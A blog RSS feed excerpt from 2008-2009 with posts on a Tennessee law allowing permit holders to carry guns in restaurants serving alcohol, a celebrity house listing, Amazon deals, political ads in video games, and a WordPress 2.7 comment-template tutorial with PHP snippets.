<p>(a)  It is an offense for a person to possess a firearm within the confines of a building open to the public where liquor, wine or other alcoholic beverages, as defined in § 57-3-101(a)(1)(A), or beer, as defined in § 57-6-102(1), are served for on premises consumption.</p>
<p>(b)  A violation of this section is a Class A misdemeanor.</p>
<p>(c)  The provisions of subsection (a) shall not apply to a person who is:</p>
<p>(1)  In the actual discharge of official duties as a law enforcement officer, or is employed in the army, air force, navy, coast guard or marine service of the United States or any member of the Tennessee national guard in the line of duty and pursuant to military regulations, or is in the actual discharge of duties as a correctional officer employed by a penal institution; or</p>
<p>(2)  On the person&#8217;s own premises or premises under the person&#8217;s control or who is the employee or agent of the owner of the premises with responsibility for protecting persons or property.</p></blockquote>
<p>For those of you that can&#8217;t read legalese, here&#8217;s a quick translation:</p>
<ul>
<li>You can&#8217;t have a firearm in a place that serves alcohol.</li>
<li> Doing so is a misdemeanor.</li>
<li> Exceptions to this rule:
<ul>
<li> If you&#8217;re police or military, that&#8217;s okay.</li>
<li> If you own the place or are a security guard hired by the owner, that&#8217;s okay.</li>
</ul>
</li>
</ul>
<p>Pretty simple, right? No guns except for the obvious exceptions.</p>
<p>Now, look at the <a href="http://www.capitol.tn.gov/Bills/106/Bill/HB0962.pdf">text of the new law</a>&#8230; Basically, it adds a new exception. Here&#8217;s the text itself:</p>
<blockquote><p>(3)<br />
(A) Authorized to carry a firearm under § 39-17-1351 who is not<br />
consuming beer, wine or any alcoholic beverage, and is within the confines of a<br />
restaurant that is open to the public, serves alcoholic beverages, wine or beer,<br />
and is not an age-restricted venue as defined in § 39-17-1802.<br />
(B) As used in this subdivision (c)(3), &#8220;restaurant&#8221; means any public<br />
place kept, used, maintained, advertised and held out to the public as a place<br />
where meals are served and where meals are actually and regularly served, such<br />
place being provided with adequate and sanitary kitchen and dining room<br />
equipment, having employed therein a sufficient number and kind of employees<br />
to prepare, cook and serve suitable food for its guests. At least one (1) meal per<br />
day shall be served at least five (5) days a week, with the exception of holidays,<br />
vacations and periods of redecorating, and the serving of such meals shall be the<br />
principal business conducted.<br />
(C) This subdivision (c)(3) is subject to the provisions of § 39-17-1359,<br />
permitting a property owner to post notices on such property prohibiting firearms.</p></blockquote>
<p>Still don&#8217;t get legalese? Well, let&#8217;s break it down more simply:</p>
<p>First, 39-17-1351 is the section of the law that defines Handgun Carry permits. So that&#8217;s what that is talking about.</p>
<p>Next, 39-17-1802 is part of the new non-smoking law. Wait, what?</p>
<p>Recently, TN banned smoking in all restaurants and bars. However, they added an exception. They defined an &#8220;age-restricted venue&#8221; as a place that only allows people in who are 21 and older, all the time (instead of just at night or something). These places can allow smoking. Obviously, a lot of the bars did this, since large parts of their clientle smoke. However, many restaurants did not. These places make most of their money from food, they can&#8217;t ban families from coming in.</p>
<p>Basically, this definition created a rather obvious separation between a &#8220;restaurant&#8221; and a &#8220;bar&#8221;, without actually making any definitions along those lines. &#8220;Bars&#8221; are 21 and up. &#8220;Restaurants&#8221; are not. There&#8217;s exceptions of course, but for the most part this is the way it went down.</p>
<p>Now, reading that law again, you&#8217;ll find that it says &#8220;and is not an age-restricted venue as defined in 39-17-1802&#8243;. That part matters. Remember, &#8220;bars&#8221; are age-restricted venues in order for them to allow smoking in the place.</p>
<p>So this new law adds a new exception. Basically you now have this:</p>
<ul>
<li>You can&#8217;t have a firearm in a place that serves alcohol.</li>
<li> Doing so is a misdemeanor.</li>
<li> Exceptions to this rule:
<ul>
<li> If you&#8217;re police or military, that&#8217;s okay.</li>
<li> If you own the place or are a security guard hired by the owner, that&#8217;s okay.</li>
<li>If you have a carry permit and are not drinking and the restaurant is not age-restricted, that&#8217;s okay.
<ul>
<li>If the owner is okay with it too and doesn&#8217;t post a sign about it.</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>That not age-restricted bit means, basically, &#8220;and it&#8217;s not a bar&#8221;. If you prefer, it really means &#8220;and is a non-smoking establishment&#8221;, for the most part, but these are basically equivalent at this point.</p>
<p>So, the bottom line: you still cannot carry a gun into bars in Tennessee. Restaurants, yes. Bars, no.</p>
<p>So if you&#8217;re a member of the media (or even if you&#8217;re Stephen Colbert) then please, do your research first before laying down your opinion. Your ignorance of the subject leaks out into the public, and they form biased opinions based on it, and frankly I&#8217;m sick of correcting people about the new gun law. It&#8217;s not a bad thing, really, because <em>it doesn&#8217;t allow anything that the media claimed it does</em>. Sheesh.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/cvUpRahnyFds5dfOHXCR2KyF_YQ/0/da"><img src="http://feedads.g.doubleclick.net/~a/cvUpRahnyFds5dfOHXCR2KyF_YQ/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/cvUpRahnyFds5dfOHXCR2KyF_YQ/1/da"><img src="http://feedads.g.doubleclick.net/~a/cvUpRahnyFds5dfOHXCR2KyF_YQ/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LjRO2OD-I9s:ckNn-4B56Pw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=LjRO2OD-I9s:ckNn-4B56Pw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LjRO2OD-I9s:ckNn-4B56Pw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=LjRO2OD-I9s:ckNn-4B56Pw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LjRO2OD-I9s:ckNn-4B56Pw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LjRO2OD-I9s:ckNn-4B56Pw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=LjRO2OD-I9s:ckNn-4B56Pw:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/LjRO2OD-I9s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/the-media-are-a-bunch-of-idiots/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
	<feedburner:origLink>http://ottodestruct.com/blog/2009/the-media-are-a-bunch-of-idiots/</feedburner:origLink></item>
		<item>
		<title>Cameron’s house is up for sale</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/D1X_fXrHQVU/</link>
		<comments>http://ottodestruct.com/blog/2009/camerons-house-is-up-for-sale/#comments</comments>
		<pubDate>Fri, 29 May 2009 16:17:14 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Placery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[ferris bueller]]></category>
		<category><![CDATA[house]]></category>
		<category><![CDATA[real-estate]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=482</guid>
		<description>Ferrari not included.
  
http://www.realtor.com/realestateandhomes-detail/370-Beech-Street_Highland-Park_IL_60035_1109385563</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/camerons-house-is-up-for-sale/" type="box_count"></fb:share-button><p>Ferrari not included.</p>
<p><img src="http://p.rdcpix.com/v03/l5be11f42-m0x.jpg" alt="" /> <img src="http://p.rdcpix.com/v02/l5be11f42-m7x.jpg" alt="" /> <img src="http://p.rdcpix.com/v02/l5be11f42-m2x.jpg" alt="" /></p>
<p><a href="http://www.realtor.com/realestateandhomes-detail/370-Beech-Street_Highland-Park_IL_60035_1109385563">http://www.realtor.com/realestateandhomes-detail/370-Beech-Street_Highland-Park_IL_60035_1109385563</a></p>

<p><a href="http://feedads.g.doubleclick.net/~a/gZn6RHgzxdEikVAaMcdQihlVPVM/0/da"><img src="http://feedads.g.doubleclick.net/~a/gZn6RHgzxdEikVAaMcdQihlVPVM/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/gZn6RHgzxdEikVAaMcdQihlVPVM/1/da"><img src="http://feedads.g.doubleclick.net/~a/gZn6RHgzxdEikVAaMcdQihlVPVM/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=D1X_fXrHQVU:XEYMMksIE84:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=D1X_fXrHQVU:XEYMMksIE84:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=D1X_fXrHQVU:XEYMMksIE84:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=D1X_fXrHQVU:XEYMMksIE84:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=D1X_fXrHQVU:XEYMMksIE84:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=D1X_fXrHQVU:XEYMMksIE84:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=D1X_fXrHQVU:XEYMMksIE84:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/D1X_fXrHQVU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/camerons-house-is-up-for-sale/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:thumbnail url="http://p.rdcpix.com/v03/l5be11f42-m0x.jpg" />
		<media:content url="http://p.rdcpix.com/v03/l5be11f42-m0x.jpg" medium="image" />
		<media:content url="http://p.rdcpix.com/v02/l5be11f42-m7x.jpg" medium="image" />
		<media:content url="http://p.rdcpix.com/v02/l5be11f42-m2x.jpg" medium="image" />
	<feedburner:origLink>http://ottodestruct.com/blog/2009/camerons-house-is-up-for-sale/</feedburner:origLink></item>
		<item>
		<title>Spotted in Savannah</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/I1CVFcSpHXo/</link>
		<comments>http://ottodestruct.com/blog/2009/spotted-in-savannah/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 14:32:05 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Placery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[jagermeister]]></category>
		<category><![CDATA[pain]]></category>
		<category><![CDATA[savannah]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2009/01/02/spotted-in-savannah/</guid>
		<description>Spotted in Savannah, originally uploaded by Otto42.
Spotted this one early in the trip. Too early, in point of fact, to actually drink Jager.</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/spotted-in-savannah/" type="box_count"></fb:share-button><div style="text-align: left; padding: 3px;"><a title="photo sharing" href="http://www.flickr.com/photos/otto42/3151146143/"><img style="border: solid 2px #000000;" src="http://farm4.static.flickr.com/3130/3151146143_82715e0ccb.jpg" alt="" /></a></p>
<p><span style="font-size: 0.8em; margin-top: 0px;"><a href="http://www.flickr.com/photos/otto42/3151146143/">Spotted in Savannah</a>, originally uploaded by <a href="http://www.flickr.com/people/otto42/">Otto42</a>.</span></div>
<p>Spotted this one early in the trip. Too early, in point of fact, to actually drink Jager.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/2JRfCHJsWA4bDuDhDoVwWRudigk/0/da"><img src="http://feedads.g.doubleclick.net/~a/2JRfCHJsWA4bDuDhDoVwWRudigk/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/2JRfCHJsWA4bDuDhDoVwWRudigk/1/da"><img src="http://feedads.g.doubleclick.net/~a/2JRfCHJsWA4bDuDhDoVwWRudigk/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=I1CVFcSpHXo:hKJ-xNFEGb0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=I1CVFcSpHXo:hKJ-xNFEGb0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=I1CVFcSpHXo:hKJ-xNFEGb0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=I1CVFcSpHXo:hKJ-xNFEGb0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=I1CVFcSpHXo:hKJ-xNFEGb0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=I1CVFcSpHXo:hKJ-xNFEGb0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=I1CVFcSpHXo:hKJ-xNFEGb0:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/I1CVFcSpHXo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/spotted-in-savannah/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:thumbnail url="http://farm4.static.flickr.com/3130/3151146143_82715e0ccb.jpg" />
		<media:content url="http://farm4.static.flickr.com/3130/3151146143_82715e0ccb.jpg" medium="image" />
	<feedburner:origLink>http://ottodestruct.com/blog/2009/spotted-in-savannah/</feedburner:origLink></item>
		<item>
		<title>A couple of Xmas shopping deals</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/DpDTFTmAX7M/</link>
		<comments>http://ottodestruct.com/blog/2008/a-couple-of-xmas-shopping-deals/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 18:15:10 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[amazon-prime]]></category>
		<category><![CDATA[deal]]></category>
		<category><![CDATA[freeshippingday]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=473</guid>
		<description>Found out about an Amazon deal on their Amazon Prime Shipping. Until the end of the year, it&amp;#8217;s discounted 20 bucks, but only if you go through this special link. Apparently it&amp;#8217;s some kind of tie in with Ellen Degeneres or something. This is a good deal for regular Amazon customers, as it gets you [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/a-couple-of-xmas-shopping-deals/" type="box_count"></fb:share-button><p>Found out about an Amazon deal on their Amazon Prime Shipping. Until the end of the year, it&#8217;s discounted 20 bucks, but only if you go through <a href="http://www.amazon.com/gp/prime/signup/ellen.html?tag=ottodestruct-20">this special link</a>. Apparently it&#8217;s some kind of tie in with Ellen Degeneres or something. This is a good deal for regular Amazon customers, as it gets you free two day shipping on pretty much everything you order.</p>
<p>Also found this site called <a href="http://www.freeshippingday.com/">Free Shipping Day</a>. A bunch of stores are banding together and offering free shipping this Thursday, the 18th. That&#8217;s the last day you can order anything and get guaranteed delivery by Xmas. So if you need to get that last minute shopping done, check out those sites on Thursday.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/W4G346tc6AGg5u4y9jxrHOUKd7Q/0/da"><img src="http://feedads.g.doubleclick.net/~a/W4G346tc6AGg5u4y9jxrHOUKd7Q/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/W4G346tc6AGg5u4y9jxrHOUKd7Q/1/da"><img src="http://feedads.g.doubleclick.net/~a/W4G346tc6AGg5u4y9jxrHOUKd7Q/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=DpDTFTmAX7M:p5-C2dHjCZE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=DpDTFTmAX7M:p5-C2dHjCZE:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=DpDTFTmAX7M:p5-C2dHjCZE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=DpDTFTmAX7M:p5-C2dHjCZE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=DpDTFTmAX7M:p5-C2dHjCZE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=DpDTFTmAX7M:p5-C2dHjCZE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=DpDTFTmAX7M:p5-C2dHjCZE:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/DpDTFTmAX7M" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/a-couple-of-xmas-shopping-deals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/a-couple-of-xmas-shopping-deals/</feedburner:origLink></item>
		<item>
		<title>Advertising and Gaming</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/C8113oLlbtE/</link>
		<comments>http://ottodestruct.com/blog/2008/advertising-and-gaming/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 16:26:44 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[election]]></category>
		<category><![CDATA[gaming]]></category>
		<category><![CDATA[ign-worldwide]]></category>
		<category><![CDATA[obama]]></category>
		<category><![CDATA[vote-for-change]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=454</guid>
		<description>Dunno if you heard of this one, but I thought it was pretty good.
If you&amp;#8217;ve played a lot of games, then you know that some of them have advertising in them. Over the years, games have had all sorts of advertising, sometimes fake, sometimes funny, sometimes real stuff. Many years back, I recall participating on [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/advertising-and-gaming/" type="box_count"></fb:share-button><p>Dunno if you heard of this one, but I thought it was pretty good.</p>
<p>If you&#8217;ve played a lot of games, then you know that some of them have advertising in them. Over the years, games have had all sorts of advertising, sometimes fake, sometimes funny, sometimes real stuff. Many years back, I recall participating on <a href="http://en.wikipedia.org/wiki/Usenet">usenet</a> in a discussion of the virtual worlds of games, and the subject of in-game-advertising was brought up.</p>
<p>See, up until this point, advertising in games was mostly a static thing. The games didn&#8217;t, on the whole, change the ads much. At some point during the discussion, the idea was advanced to the point of changing them dynamically. I mean, these are just big textures, there&#8217;s no reason that the game could not detect an internet connection and download new ones on the fly. At the time, this was roundly hailed as preposterous, mainly because &#8220;internet&#8221; at that time mostly consisted of modems and dialup connections. Large scale multiplayer gaming was relatively new, and home broadband was basically limited to expensive ISDN connections.</p>
<p>Of course, the idea was natural and obvious, but I quit most of my gaming about then, and so I didn&#8217;t see how the idea went on and advanced in reality.</p>
<p>Both the Xbox 360 and the PS3 have more or less mandatory internet support. That is to say that while you can certainly use the thing without internet hooked to it, virtually nobody does, because it enables the vast majority of the functionality of the thing. And so, naturally, advertising came in-game on those too.</p>
<p><a title="IGA Worldwide" href="http://www.igaworldwide.com/">IGN Worldwide</a> handles almost all of this advertising, from what I can tell. And recently, this got a big story boost, as it affects the elections.</p>
<div id="attachment_455" class="wp-caption alignright" style="width: 310px"><a rel="attachment wp-att-455" href="http://ottodestruct.com/blog/2008/10/16/advertising-and-gaming/burnoutobama800_screen1/"><img class="size-medium wp-image-455" title="Burnout Obama Screenshot" src="http://ottodestruct.com/blog/wp-content/uploads/2008/10/burnoutobama800_screen1-300x200.jpg" alt="Screenshot of the Obama Ad in Burnout Paradise" width="300" height="200" /></a><p class="wp-caption-text">Screenshot of the Obama Ad in Burnout Paradise</p></div>
<p>Burnout Paradise on the Xbox 360 and PS3 have billboards beside the highway that show advertising. On the 360 version at least, from October 6 through November 3th, if you are a player in one of ten &#8220;battleground&#8221; states, then you&#8217;ll be <a href="http://www.gamespot.com/news/6199379.html">seeing Obama ads in the game</a>.</p>
<p>The ads say that <a href="http://www.pewcenteronthestates.org/initiatives_detail.aspx?initiativeID=34044">Early Voting</a> has begun as well as pointing to Obama&#8217;s <a href="http://www.voteforchange.com/">Vote For Change</a> website.</p>
<p>NPR&#8217;s Morning Edition <a href="http://www.npr.org/templates/story/story.php?storyId=95720334">went on to confirm</a> that the ads will appear in a total of 18 different games in those 10 states only, including Madden NFL and other sports games.</p>
<p>They also mention that the ads are targeted to men 18-34, but I&#8217;m not certain if that means that they will only be shown to players fitting that demographic or not. It certainly could be, since if you use those consoles on the internet, then you have an account with demographic information like that.</p>
<p>I find it fascinating that I missed this trend, and I can certainly see how it could be a good thing or a bad thing. I would not personally mind my games having live ads like this, as it would add a sense of realism and up-to-date-ness about them. On the other side of the coin though, I can see a lot of gamers upset by this sort of thing, as some people are simply against ads wherever they may be under any circumstances.</p>
<p>It&#8217;s still pretty neat, I say.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/f1Lb3HKNECVPBp9SacFW6fUcCBA/0/da"><img src="http://feedads.g.doubleclick.net/~a/f1Lb3HKNECVPBp9SacFW6fUcCBA/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/f1Lb3HKNECVPBp9SacFW6fUcCBA/1/da"><img src="http://feedads.g.doubleclick.net/~a/f1Lb3HKNECVPBp9SacFW6fUcCBA/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=C8113oLlbtE:TgtVr5YJJWk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=C8113oLlbtE:TgtVr5YJJWk:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=C8113oLlbtE:TgtVr5YJJWk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=C8113oLlbtE:TgtVr5YJJWk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=C8113oLlbtE:TgtVr5YJJWk:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=C8113oLlbtE:TgtVr5YJJWk:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=C8113oLlbtE:TgtVr5YJJWk:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/C8113oLlbtE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/advertising-and-gaming/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/10/burnoutobama800_screen1-150x100.jpg" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/10/burnoutobama800_screen1.jpg" medium="image">
			<media:title type="html">Burnout Obama Screenshot</media:title>
			<media:description type="html">Screenshot of the Obama Ad in Burnout Paradise</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/10/burnoutobama800_screen1-150x100.jpg" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/advertising-and-gaming/</feedburner:origLink></item>
		<item>
		<title>WordPress 2.7 Comments Enhancements</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/LDNFLLPHaSU/</link>
		<comments>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 15:43:03 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[paging]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[stylesheets]]></category>
		<category><![CDATA[theme editing]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[threading]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress themes]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=424</guid>
		<description>WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I&amp;#8217;d suggest getting to work on making your themes compatible right away.
Read on if [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/" type="box_count"></fb:share-button><p>WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I&#8217;d suggest getting to work on making your themes compatible right away.</p>
<p>Read on if you&#8217;re a theme author&#8230;</p>
<p><span id="more-424"></span></p>
<p><strong>Note:</strong> A lot of people seem to miss this key bit: Enhanced Comments are optional and default to off, even after you make these changes. You have to go to the Settings-&gt;Discussion panel to turn the features on.</p>
<p>Actually &#8220;compatible&#8221; is not quite the right term. Old themes will continue to work fine in WordPress 2.7. It&#8217;s just the threading and paging and javascript enhancements need the theme to support it. This is much the same as the sidebar widgets, the theme has to support it for the functionality to work. So this article is really not about 2.7 <em>compatibility</em>, it&#8217;s about 2.7 <em>capability</em>.</p>
<p>Note that this article will explain some of the changes needed to make themes capable of supporting the new comments functions, however there&#8217;s no substitute for the real thing. Install a local copy of WordPress trunk on your home machine (possibly using XAMPP) and test it there.</p>
<p>Also note that this is all based on the current state of WordPress trunk, and is subject to change before WordPress 2.7 is released. However, it&#8217;s probably not going to change all that much at this point.</p>
<h3>How to create a 2.7 compatible comments.php</h3>
<h4>2.7 Detection</h4>
<p>If you want your theme to be backward compatible as well, then there&#8217;s a simple way to do it. Just check for the wp_list_comments function, like so:</p>
<pre class="brush: php;">if (function_exists('wp_list_comments')) :
// new comments.php stuff
else :
// old comments.php stuff
endif;</pre>
<p>While you could check for the version number of WordPress, this method is better because it simply looks for the actual function you&#8217;re going to use anyway. Never make assumptions based on version number.</p>
<p>One of the <a href="http://justintadlock.com/archives/2008/11/01/making-your-themes-comments-compatible-with-wordpress-27-and-earlier-versions">more interesting ways</a> I&#8217;ve seen to use this is to have the &#8220;old comments&#8221; php in a separate file entirely, which is then included. This preserves backwards compatibility for your theme in a simple way. Here&#8217;s a quick example code for that approach:</p>
<pre class="brush: php;">&lt;?php
add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
	if ( !function_exists('wp_list_comments') )
		$file = TEMPLATEPATH . '/legacy.comments.php';
	return $file;
}
?&gt;</pre>
<p>Adding this code to a theme&#8217;s functions.php file will make the theme use the &#8220;legacy.comments.php&#8221; for older non-2.7 installations. That way, you can simply rename your old comments.php and then make a new one based on the new functionality. Clever.</p>
<h4>Password Protection Check</h4>
<p>Put this code at the top of your comments.php file. This is what lets it support the post password functionality. Note that this code is quite similar to the previous way that it was done (by checking the cookie directly), but now WordPress has a specific function to do it. You should use this function in case the functionality changes in the future, your code will be forward compatible:</p>
<pre class="brush: php;">if (!empty($_SERVER['SCRIPT_FILENAME']) &amp;&amp; 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
	die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) {
	echo 'This post is password protected. Enter the password to view comments.';
	return;
}
&lt;h4&gt;The Comments Loop&lt;/h4&gt;
The Comments Loop used to look similar to this (much simplified from a real one):
[php]if ($comments) :
&lt;?php $comment_count = get_comment_count($post-&gt;ID); echo $comment_count['approved']; ?&gt; Comments
&lt;ul class=&quot;commentlist&quot;&gt;
&lt;?php foreach( $comments as $comment ) :
// stuff to display the comment in an LI here
endforeach;
?&gt;&lt;/ul&gt;
&lt;?php else :
if ('open' == $post-comment_status) :
	// If comments are open, but there are no comments.
else :
	// comments are closed
endif;
endif;</pre>
<p>Basically, it went through the comments manually and output all the necessary pieces. Easy, but very manual. This also had the problem of being very inconsistent and hard to manage for your theme&#8217;s users, especially if you heavily customized it.</p>
<p>The new comments loop is much simpler:</p>
<pre class="brush: php;">&lt;?php if ( have_comments() ) : ?&gt;
&lt;h4 id=&quot;comments&quot;&gt;&lt;?php comments_number('No Comments', 'One Comment', '% Comments' );?&gt;&lt;/h4&gt;

&lt;ul class=&quot;commentlist&quot;&gt;
&lt;?php wp_list_comments(); ?&gt;
&lt;/ul&gt;

&lt;div class=&quot;navigation&quot;&gt;
&lt;div class=&quot;alignleft&quot;&gt;&lt; ?php previous_comments_link() ?&gt;&lt;/div&gt;
&lt;div class=&quot;alignright&quot;&gt;&lt; ?php next_comments_link() ?&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;?php else : // this is displayed if there are no comments so far ?&gt;
	&lt;?php if ('open' == $post-&gt;comment_status) :
		// If comments are open, but there are no comments.
	else : // comments are closed
	endif;
endif;
?&gt;</pre>
<p>That new one is, in fact, a complete comments loop. No simplification at all. Unless you want something displayed for &#8220;no comments&#8221; or &#8220;comments closed&#8221;, of course. I don&#8217;t have anything showing there.</p>
<p>There are three important pieces to note here:</p>
<ul>
<li>The have_comments() function replaces the check on the global $comments variable.</li>
